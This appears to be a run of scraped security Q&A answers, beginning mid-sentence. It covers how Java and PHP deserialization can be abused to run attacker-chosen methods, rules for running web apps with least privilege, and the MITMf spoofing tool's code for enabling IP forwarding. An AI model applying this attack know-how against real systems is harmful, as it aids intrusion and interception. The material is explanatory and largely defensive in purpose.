is at least untrusted input.
It also is (Owasps) insecure serialization, but really, who cares - the problem again is not the data format.
After the explanation was written, it also became "running components with known vulnerabilities".
Not in Owasps Top10, but it is also a protocol definition problem.
...

Finally, about the part of native serialization that offers more than Json etc.: Well, partially - but this doesn't make eg. PHPs version secure.

In Java it is possible to take an object, write it's complete state to an byte array (that is, current member variable content (both simple types as well as other objects), but also executable binary code in some situations, etc.) and then recreate everything from this byte array. Access to a serialized Java method that will be executed later is of course very nice for doing bad things. And if there is none, introducing one that will be called because of its name at some point (eg. equals) is easy too.

In PHP, there is not such a straightforward way to save and load executable code parts like the runtime has them in memory, so abusing this is not possible. However, names of other methods to call might still be in there. That's not as convenient, but still nice.


Full protection from shell-script injections (like a "Bash injection") - Is it even possible?

AFAIK, it does not matter what the owner of group of files is (unless they are setuid). What matters is that this is a hint that the application could be run as root which is a security threat.

The rules are:

the web application should be runned as a non priviledged user - in particular, that user should never be allowed to sudo!
it should only have write access to the files this must be written or changed by the application
all other files (static) should only be readable and should belong to another (admin) user


mitmf doesn't work when disabled ip forward

This still works because MITMf automatically enables IP forwarding when using the --spoof option:

def set_ip_forwarding(value):
    log.debug("Setting ip forwarding to {}".format(value))
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
        file.write(str(value))
        file.close()